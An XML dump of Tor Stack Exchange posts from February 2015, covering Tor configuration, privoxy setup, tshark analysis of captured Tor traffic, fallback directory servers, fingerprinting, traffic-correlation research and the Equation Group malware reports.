  <row Id="6212" PostTypeId="2" ParentId="4693" CreationDate="2015-02-15T01:25:47.390" Score="1" Body="&lt;p&gt;You could check the list of Guard nodes from onionoo, for example at this Web site: &lt;a href=&quot;https://onionoo.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://onionoo.torproject.org&lt;/a&gt;&lt;br&gt;&#xA;You may also filter the traffic to the addresses of your interest for better visibility.&lt;/p&gt;&#xA;" OwnerUserId="6733" LastEditorUserId="923" LastEditDate="2015-02-15T08:17:36.060" LastActivityDate="2015-02-15T08:17:36.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6213" PostTypeId="2" ParentId="4693" CreationDate="2015-02-15T14:12:00.940" Score="0" Body="&lt;p&gt;Using &lt;code&gt;tshark&lt;/code&gt; as mentioned in the question should work fine. However, it will require two pass analysis (which was not used in the provided link), and the filters will need to be updated a bit for more modern wireshark versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tshark -2 -r tor_traffic.pcap -T fields -R &quot;ssl.handshake.certificate&quot; -e x509af.utcTime -e x509sat.printableString                                                &#xA;15-01-23 00:00:00 (UTC),15-09-16 23:59:59 (UTC) www.mo7pofg5qx4qezly.com,www.imhw73oq35uluhcjz.net&#xA;15-02-12 00:00:00 (UTC),15-04-21 23:59:59 (UTC)&#xA;14-12-01 00:00:00 (UTC),15-05-03 00:00:00 (UTC) www.pghq2hykgwzwkgzghrn.com,www.b62klkcmc7zmt3s.net&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;tor_traffic.pcap&lt;/code&gt; has been pre-captured with your favorite tool (Wireshark, tcpdump, etc.). You'll also want to make sure the packet capture is run on whatever interface the VM is using.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2015-02-15T14:12:00.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6214" PostTypeId="2" ParentId="6207" CreationDate="2015-02-15T16:32:27.210" Score="0" Body="&lt;p&gt;Enable the proxy port by downloading privoxy: &lt;a href=&quot;http://www.privoxy.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.privoxy.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the browser proxy as following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ip address : 127.0.0.1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;port : 8118&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Verify that proxy port is running. If so, you may request multiple Tor browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.privoxy.org/config/&quot; rel=&quot;nofollow&quot;&gt;http://www.privoxy.org/config/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-02-15T16:32:27.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6216" PostTypeId="1" CreationDate="2015-02-15T23:17:18.870" Score="4" ViewCount="756" Body="&lt;p&gt;In a recent episode of a podcast called Security Now (#493: Tor: Not so Anonymous), they claimed that traffic can be delayed in unique ways to identify which client IP address on one side of the Tor onion is communicating with which server IP on the other side. So basically they insert gaps in the data transfers and look for gaps going to client IPs. Somehow or other Cisco's Netflow feature is involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an idea:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this deanonymization problem, why not have Tor clients simply always be uploading and downloading packets at a steady beat e.g. every 10 milliseconds, regardless of whether any meaningful data is really being sent? Of course the exit node would have to play along with this charade, accepting and sending packets even if there is no need. The tor process running on the client would have to be able to drop incoming &quot;dummy&quot; packets, as well as send them; same for the exit node's tor process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this fix the Tor deanonymization problem?&lt;/p&gt;&#xA;" OwnerUserId="6738" LastActivityDate="2015-02-16T07:28:20.860" Title="Tor no longer secure, but can this be fixed?" Tags="|anonymity|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6217" PostTypeId="1" CreationDate="2015-02-16T01:14:04.693" Score="2" ViewCount="1350" Body="&lt;p&gt;When checking my PC on Panopticlick, I could see that even using Tor does not make my PC more anonymous...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...using JonDo, however, and visiting Panopticlick, my PC was less identifiably unique than when using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JonDo mentions things like using different fonts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for Tor to make similar changes so that your PC is less identifiable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a computer geek, so maybe I'm getting something wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I tagged this post with &quot;tag&quot; because I was not allowed to use relevant tags, like JonDo, Uniqueness, Identifiable, Fonts etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==================================================================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;re  two answers so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Try JonDoFox with Tor&quot;? &gt; Meaning? In what way? They're two separate browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Tor Browser also erases browser uniqueness, but maybe it leaks more than JonDoFox&quot; &gt;&#xA;My test was using each browser at Panopticlick. Tor's access showed that my PC was unique. Following the advice in the 2nd reply, below, I change a font and had my anonymity marginally improved. JonDo's access significantly improved my identifiability...i.e. more computers like mine when accessing that site. Roya's link to JonDo test is where I got info re fonts from beforehand. It mentioned choosing Arial, Sans serif and Helvetica (from memory) as ones to choose. Only see Arial though in settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated, I'm not tech minded. Not sure how Tor's/JonDo's safety re IP address hangs with issue of how identifiable your PC is. In other words, if your IP address is not your own, is that protection enough? What if a site can see that you have a unique computer? What about MAC idenitifiablity?&lt;/p&gt;&#xA;" OwnerUserId="6739" LastEditorUserId="923" LastEditDate="2015-02-17T06:17:29.643" LastActivityDate="2015-02-17T06:47:55.623" Title="Uniqueness of your PC comparing Tor vs JonDo" Tags="|jondonym|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6218" PostTypeId="2" ParentId="6217" CreationDate="2015-02-16T02:12:20.653" Score="2" Body="&lt;p&gt;Try JonDoFox with Tor. JonDo does nothing to make your PC less identifiable, but the JonDoFox extension works hard to erase the differences between firefox instances so your browser is less identifiable (They even fixed the WebRTC STUN leak in the latest JonDoFox). Tor Browser  also erases browser uniqueness, but maybe it leaks more than JonDoFox.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="923" LastEditDate="2015-02-16T07:38:18.817" LastActivityDate="2015-02-16T07:38:18.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6219" PostTypeId="2" ParentId="6216" CreationDate="2015-02-16T03:14:40.650" Score="1" Body="&lt;p&gt;From what you describe, they were referring to &lt;a href=&quot;https://mice.cs.columbia.edu/getTechreport.php?techreportID=1545&amp;amp;format=pdf&quot; rel=&quot;nofollow&quot;&gt;&quot;On the Effectiveness of Traffic Analysis Against Anonymity Networks Using Flow Records&quot;&lt;/a&gt;, by Chakravarty, S. et al.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roger Dingledine wrote a &lt;a href=&quot;https://blog.torproject.org/blog/traffic-correlation-using-netflows&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; about this back in November, when the media got all excited about the paper, that discusses this in more depth, and the author of the paper also commented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to your proposed defense, in is broken in &lt;a href=&quot;http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=1232420&quot; rel=&quot;nofollow&quot;&gt;&quot;On Countermeasures to Traffic Analysis Attacks&quot;&lt;/a&gt;, Fu. X et al, and that specific scheme has terrible network behavior with regards to both performance and congestion (with your specific parameters, each connection will be limited to 50 KiB/s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several &quot;better&quot; defenses proposed in academic literature including &lt;a href=&quot;https://www3.cs.stonybrook.edu/~rob/papers/csbuflo.pdf&quot; rel=&quot;nofollow&quot;&gt;CS-BuFLO&lt;/a&gt;, but evaluating them context of mitigating end-to-end correlation is an open research question.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastEditorUserId="923" LastEditDate="2015-02-16T07:28:20.860" LastActivityDate="2015-02-16T07:28:20.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6220" PostTypeId="1" CreationDate="2015-02-16T05:47:10.540" Score="3" ViewCount="143" Body="&lt;p&gt;I got several exit nodes blocked by country in my &amp;quot;torrc defaults&amp;quot; file.&lt;/p&gt;&#xA;&lt;p&gt;This is what the script looks like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;&lt;p&gt;ExitNodes {ru}&lt;/p&gt;&#xA;&lt;p&gt;ExcludeExitNodes {us},{ca},{gb},{ua},{se},{de},{es},{lu},{ch},{fr},{nl},{??}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So usually the code works, and I'm getting only Russian-based exit nodes.&lt;/p&gt;&#xA;&lt;p&gt;BUT there's a recurrent problem... An exit node hosted by Digital Ocean, that is firstly identified as from &amp;quot;NL&amp;quot;, yet being actually from New York City, keeps coming back sporadically as the exit node.&lt;/p&gt;&#xA;&lt;p&gt;I have been reinstalling Tor and checking the signatures... no change. How the hell can &amp;quot;NL&amp;quot; exit nodes still pass through when they've been blocked already, and only &amp;quot;RU&amp;quot; exit nodes supposed to pass?&lt;/p&gt;&#xA;&lt;p&gt;Obviously this node is a bad apple, though how to get rid of it?&lt;/p&gt;&#xA;&lt;p&gt;I'll also try to submit this as a bug.&lt;/p&gt;&#xA;" OwnerUserId="6740" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-02-16T07:33:02.617" Title="Blocked exit node keeps coming back!" Tags="|exit-relays|blocked|" AnswerCount="0" CommentCount="5" ClosedDate="2015-05-15T16:05:29.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="6221" PostTypeId="2" ParentId="6217" CreationDate="2015-02-16T08:01:08.773" Score="0" Body="&lt;p&gt;Maybe you put your fingure on the Achilles heel, If you try this web site: &lt;a href=&quot;http://ip-check.info/?lang=en&quot; rel=&quot;nofollow&quot;&gt;http://ip-check.info/?lang=en&lt;/a&gt;   while using Tor Browser and proceed to look at Fonts, you can see a warning. For more detail look at this Question: &lt;a href=&quot;https://tor.stackexchange.com/questions/1366/even-after-disabling-java-script-fonts-are-readable-is-there-any-patch-for-this&quot;&gt;Even after disabling Java Script Fonts are readable. Is there any patch for this issue?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also look at the answer provided by Rhin, in addition read the comments below this answer. You may have a good point. There were some attempt to alleviate the problem, but I am not sure it is enough.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If your IP address is not your own, is that protection enough.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It may or may not be depending on the situation. For example if the IP address is your aunt's and you live with her, it is definitely not. If the IP address is for example Starbucks coffee company's and you live in a crowded metropolitian area like NewYork city or Tokyo and there is no security camera, recording with a time-stamp of who comes and who goes, you maybe in a better situation. But ultimately, you are better off using a laptop with the OS, browser, fonts, etc. this not unique; so that if everything else fails, you still are not identifiable. For as close to a comprehensive answer as I have seem look at this Q&amp;amp;A:  &lt;a href=&quot;https://security.stackexchange.com/questions/43369/best-practices-for-tor-use-in-light-of-released-nsa-slides&quot;&gt;https://security.stackexchange.com/questions/43369/best-practices-for-tor-use-in-light-of-released-nsa-slides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-17T06:47:55.623" LastActivityDate="2015-02-17T06:47:55.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6222" PostTypeId="1" AcceptedAnswerId="6229" CreationDate="2015-02-16T10:41:51.297" Score="3" ViewCount="435" Body="&lt;p&gt;The &lt;a href=&quot;https://tor.stackexchange.com/questions/196/would-distributed-denial-of-service-ddos-attacks-on-the-directory-authorities/297#297&quot;&gt;answer&lt;/a&gt; here states that in case of blocking all the Authority servers new clients would be sad. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I conducted an experiment, where I blocked all the Authority servers and a new, never used before client still bootstrapped and established a Tor circuit. Although it took 30 minutes to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd like to know if Tor has fallback directory servers? Or somehow it must get the first IP to connect to if all the Authority servers are blocked. And where does that IP come from? &lt;/p&gt;&#xA;" OwnerUserId="6741" LastEditorUserId="6741" LastEditDate="2015-02-17T14:36:08.100" LastActivityDate="2015-02-17T17:49:59.560" Title="Does Tor Authority servers have fallback?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6223" PostTypeId="1" AcceptedAnswerId="6226" CreationDate="2015-02-16T10:51:55.520" Score="1" ViewCount="2979" Body="&lt;p&gt;&lt;a href=&quot;http://blkbook3fxhcsn3u.onion/&quot; rel=&quot;nofollow&quot;&gt;Black book&lt;/a&gt; claims to be the Facebook of the dark Web. Is it a legitimate/safe site (assuming that users don't divulge any personal details), or is it a feeder site for nefarious things like Pink Meth? Is there any way to tell how safe/secure an onion site is, or if it is a honeypot?&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-02-17T06:38:18.717" LastActivityDate="2015-02-17T23:34:53.387" Title="Is there any way to tell how safe/secure an onion site is, or if it is a honeypot?" Tags="|onion-services|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6224" PostTypeId="2" ParentId="6222" CreationDate="2015-02-16T11:35:00.800" Score="2" Body="&lt;p&gt;Look at the answer one more time carefully: &lt;a href=&quot;https://tor.stackexchange.com/questions/196/would-distributed-denial-of-service-ddos-attacks-on-the-directory-authorities/297#297&quot;&gt;Would distributed denial of service (DDoS) attacks on the directory authorities disrupt the Tor network?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paragraph 3. state that (The emphasis is mine):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;The bad guy manages to shut down all 9 directory authorities. This has the additional negative effect of new clients not being able to&#xA;  download their initial consensus during the bootstrap process, so they&#xA;  would be sad immediately. &lt;strong&gt;&lt;em&gt;We may have a new design in place that&#xA;  ships a list of fallback directory mirrors with the sources which&#xA;  would soften the blow here&lt;/em&gt;&lt;/strong&gt;.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some relays are assigned as mirror directory authorities, in addition to their other roles. They will handle the case as a back-up if all directory authorities are blocked, and do not allow a total censorship of Tor network for new users and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may look at this Web site: &lt;a href=&quot;http://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Servers have different properties listed after their name. For example: Fast server, Exit server, &lt;strong&gt;Directory server&lt;/strong&gt;, etc.  If you carefully look at properties of servers, you will notice that a lot of them have a folder type icon in front of them, indicating they are Directory server, this means they are mirrors of dirctory servers. For additional insight you may start a Wireshark packet analyzer software before starting Tor browser and observe what IP addresses your system connect to during the the time that it should obtain consensus from dirctory servers. It will connect to some directory servers and some mirrors of dirctory servers.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-17T17:49:59.560" LastActivityDate="2015-02-17T17:49:59.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6226" PostTypeId="2" ParentId="6223" CreationDate="2015-02-16T15:14:03.737" Score="1" Body="&lt;p&gt;No. There is no way to tell. That's the characteristic of a hidden service, and an inconvenience sometimes. Like other onion services, you should use it with care, and at your own risk. In other words, if you are using Tor to conserve your anonymity, you should never trust such sites. If you only care about censorship circumvention, and anonymity is not a concern, it would not pose a problem for you.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-16T15:14:03.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6227" PostTypeId="1" AcceptedAnswerId="6353" CreationDate="2015-02-16T15:14:39.657" Score="6" ViewCount="310" Body="&lt;p&gt;Is there a compiled list of all discovered and fixed Tor vulnerabilities from the time of its creation until now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for something like this list for open-ssl &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.openssl.org/news/vulnerabilities.html&quot;&gt;https://www.openssl.org/news/vulnerabilities.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by vulnerabilities I mean for example exploitable buffer overflows or vulnerabilities because of design decisions that are not stated as accepted trade-offs in Tor designs and were discovered and fixed (or not) at a later date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I obtain such a list by querying the bug tracker?&lt;/p&gt;&#xA;" OwnerUserId="6744" LastEditorUserId="923" LastEditDate="2015-02-16T18:28:20.780" LastActivityDate="2015-03-07T21:36:31.480" Title="Tor historical vulnerabilities list" Tags="|vulnerability|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6228" PostTypeId="1" CreationDate="2015-02-16T16:51:31.813" Score="1" ViewCount="270" Body="&lt;p&gt;Tor is blocked at my university network but I can use a free VPN and ssh  named &lt;em&gt;Psiphon3&lt;/em&gt; and I use it for accessing internet but, I am unable to open Tor via the VPN. My question is how to use the VPN to connect to Tor network?&lt;/p&gt;&#xA;" OwnerUserId="6745" LastEditorUserId="923" LastEditDate="2015-02-16T19:36:15.147" LastActivityDate="2015-02-16T19:36:15.147" Title="How to use Tor via VPN or ssh?" Tags="|configuration|vpn|ssh|" AnswerCount="0" CommentCount="4" ClosedDate="2015-02-16T16:56:34.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="6229" PostTypeId="2" ParentId="6222" CreationDate="2015-02-17T14:34:37.327" Score="0" Body="&lt;p&gt;It seems that Tor does not have a fallback. Although following paragraph can be found under Tor ChangeLog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o Major features (client resilience):&#xA;- Add a new &quot;FallbackDir&quot; torrc option to use when we can't use&#xA;  a directory mirror from the consensus (either because we lack a&#xA;  consensus, or because they're all down). Currently, all authorities&#xA;  are fallbacks by default, and there are no other default fallbacks,&#xA;  but that will change. This option will allow us to give clients a&#xA;  longer list of servers to try to get a consensus from when first&#xA;  connecting to the Tor network, and thereby reduce load on the&#xA;  directory authorities.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In reality it has not been implemented and only the optional command line option &lt;strong&gt;* FallbackDir address:port orport=port id=fingerprint [weight=num]&lt;/strong&gt; can be used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also made a fatal mistake by looking only at the public Tor Authority list &lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; and &lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;Torstatus&lt;/a&gt; . In reality one of the Authority server IP has changed and could be found only from source code, 128.31.0.34 -&gt; 128.31.0.39. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding that IP also to iptables Tor could not establish a circuit and bootstrap. So to conclude Tor does &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; have a fallback, at least to this date.&lt;/p&gt;&#xA;" OwnerUserId="6741" LastActivityDate="2015-02-17T14:34:37.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6231" PostTypeId="1" CreationDate="2015-02-17T21:31:19.760" Score="2" ViewCount="235" Body="&lt;p&gt;Equation: The Death Star of Malware Galaxy &lt;a href=&quot;https://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/&quot; rel=&quot;nofollow&quot;&gt;https://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/&lt;/a&gt; reported to compromise the firmware of hard drive  and reprogram the hard drive's firmware according to Malware instructions. This seem to be a vulnerability and probable compromise for Tor browser usage, given it most likely use the hard drive on the computer. But how much vulnerability does Tails encounter and what is the probability of Tails compromise with this Malware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Following information became available recently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.scribd.com/doc/255979726/Equation-Group-Questions-and-Answers&quot; rel=&quot;nofollow&quot;&gt;http://www.scribd.com/doc/255979726/Equation-Group-Questions-and-Answers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://arstechnica.com/security/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/&quot; rel=&quot;nofollow&quot;&gt;http://arstechnica.com/security/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/sites/thomasbrewster/2015/02/16/nsa-equation-cyber-tool-treasure-chest/&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/sites/thomasbrewster/2015/02/16/nsa-equation-cyber-tool-treasure-chest/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Equation_Group&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Equation_Group&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.benzinga.com/pressreleases/15/02/b5244194/kaspersky-lab-discovers-equation-group-the-crown-creator-of-cyber-espio&quot; rel=&quot;nofollow&quot;&gt;http://www.benzinga.com/pressreleases/15/02/b5244194/kaspersky-lab-discovers-equation-group-the-crown-creator-of-cyber-espio&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/P0Fb9DPb&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/P0Fb9DPb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://foreignaffairs.co.nz/2015/02/17/equation-the-death-star-of-malware-galaxy/&quot; rel=&quot;nofollow&quot;&gt;http://foreignaffairs.co.nz/2015/02/17/equation-the-death-star-of-malware-galaxy/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wired.com/2015/02/kapersky-discovers-equation-group&quot; rel=&quot;nofollow&quot;&gt;http://www.wired.com/2015/02/kapersky-discovers-equation-group&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://boingboing.net/2015/02/16/shining-light-on-the-shadowy.html&quot; rel=&quot;nofollow&quot;&gt;http://boingboing.net/2015/02/16/shining-light-on-the-shadowy.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.i4u.com/2015/02/88843/kaspersky-uncovers-most-sophisticated-malware&quot; rel=&quot;nofollow&quot;&gt;http://www.i4u.com/2015/02/88843/kaspersky-uncovers-most-sophisticated-malware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.zdnet.com/article/beyond-stuxnet-and-flame-equation-group-most-advanced-cybercriminal-gang-recorded/&quot; rel=&quot;nofollow&quot;&gt;http://www.zdnet.com/article/beyond-stuxnet-and-flame-equation-group-most-advanced-cybercriminal-gang-recorded/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.net-security.org/malware_news.php?id=2966&quot; rel=&quot;nofollow&quot;&gt;http://www.net-security.org/malware_news.php?id=2966&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://motherboard.vice.com/tag/Equation+Group&quot; rel=&quot;nofollow&quot;&gt;http://motherboard.vice.com/tag/Equation+Group&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-19T04:16:38.240" LastActivityDate="2015-02-19T04:16:38.240" Title="Equation: The Death Star of Malware Galaxy, How much does it compromise Tails?" Tags="|tor-browser-bundle|tails|vulnerability|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6234" PostTypeId="1" CreationDate="2015-02-18T20:56:14.030" Score="3" ViewCount="2243" Body="&lt;p&gt;I would like to get a new exit node IP addresses each time I get a new Identity and most of the times it works but sometimes I get the same ones as before. Is there an option to remove duplicate exit IP addresses at least  for 24 hours?&lt;/p&gt;&#xA;" OwnerUserId="6754" LastEditorUserId="923" LastEditDate="2015-02-19T03:39:27.223" LastActivityDate="2015-04-21T03:03:58.030" Title="How can I get a different exit node IP each time I get a new identity?" Tags="|anonymity|identity-change|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6235" PostTypeId="1" AcceptedAnswerId="6404" CreationDate="2015-02-18T22:59:03.400" Score="4" ViewCount="8694" Body="&lt;p&gt;I have reserched a lot on the subject of how to run multiple Tor Browsers simultaneously, and independently, but could not find anything so far that make that possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How may I arrange the Tor Browser set-up so that I may use multiple instances of Tor Browsers running simultaneously and independently?&lt;/p&gt;&#xA;" OwnerUserId="6755" LastEditorUserId="923" LastEditDate="2015-02-19T05:37:03.580" LastActivityDate="2015-03-11T07:34:16.563" Title="How to run multiple Tor browsers simultaneously and independently with different circuits and exit IP addresses using TBB version 4.0.3?" Tags="|tor-browser-bundle|configuration|" AnswerCount="2" CommentCount="0" ClosedDate="2015-08-26T10:45:15.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="6236" PostTypeId="1" CreationDate="2015-02-18T23:06:27.297" Score="1" ViewCount="281" Body="&lt;p&gt;I'm new to Tor. I'm interested in setting up a Tor cloud (&lt;a href=&quot;https://cloud.torproject.org/#get_started&quot; rel=&quot;nofollow&quot;&gt;https://cloud.torproject.org/#get_started&lt;/a&gt;) on ec2, which looks straight forward. However besides surfing I want to use python, likely the stem library to control the Tor cloud. Is this possible directly? Does the Tor cloud have a ControlPort or Control Socket as mentioned in &lt;a href=&quot;https://stem.torproject.org/faq.html&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/faq.html&lt;/a&gt;. So far I haven't had much luck in finding resources or code samples on this subject.&lt;/p&gt;&#xA;" OwnerUserId="6753" LastEditorUserId="923" LastEditDate="2015-02-19T03:41:08.113" LastActivityDate="2015-03-11T18:49:26.130" Title="Interacting with Tor cloud via python/stem" Tags="|tor-cloud|python|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6238" PostTypeId="2" ParentId="6037" CreationDate="2015-02-19T00:29:42.120" Score="2" Body="&lt;p&gt;You may use Tor ads. &lt;a href=&quot;http://toradsc6vvmtugty.onion/&quot; rel=&quot;nofollow&quot;&gt;http://toradsc6vvmtugty.onion/&lt;/a&gt;&#xA;,but stick with indexing your site in Wikis and search engines.&lt;/p&gt;&#xA;" OwnerUserId="6757" LastEditorUserId="923" LastEditDate="2015-02-19T03:35:45.960" LastActivityDate="2015-02-19T03:35:45.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6239" PostTypeId="1" CreationDate="2015-02-19T00:32:15.933" Score="4" ViewCount="249" Body="&lt;p&gt;I have a newbie question here. When you setup a Tor hidden service do you yourself use up bandwidth on your network or does is the traffic attributed to the relay?&lt;/p&gt;&#xA;" OwnerUserId="6757" LastEditorUserId="435" LastEditDate="2015-03-02T16:49:44.173" LastActivityDate="2019-05-06T06:01:21.613" Title="Tor hidden service bandwith question" Tags="|onion-services|relays|bandwidth|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6240" PostTypeId="2" ParentId="6231" CreationDate="2015-02-19T00:39:20.487" Score="0" Body="&lt;p&gt;This doesn't really affect us at this point because the malware was found mostly in the middle east and china, and there hasn't been to much info on what exactly the malware does so at this point I can't really answer your question. Also there probably is more hardware trojans in everyday devices you use, just haven't been found and you can't really do much about it.&lt;/p&gt;&#xA;" OwnerUserId="6757" LastEditorUserId="923" LastEditDate="2015-02-19T03:43:51.170" LastActivityDate="2015-02-19T03:43:51.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6241" PostTypeId="2" ParentId="6231" CreationDate="2015-02-19T03:14:04.673" Score="1" Body="&lt;p&gt;Based on the information available so far, none at all.  The Equation Group's known malware targets only Windows-based systems; there's some indication of MacOSX support, but no actual malware has been found.&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2015-02-19T03:14:04.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
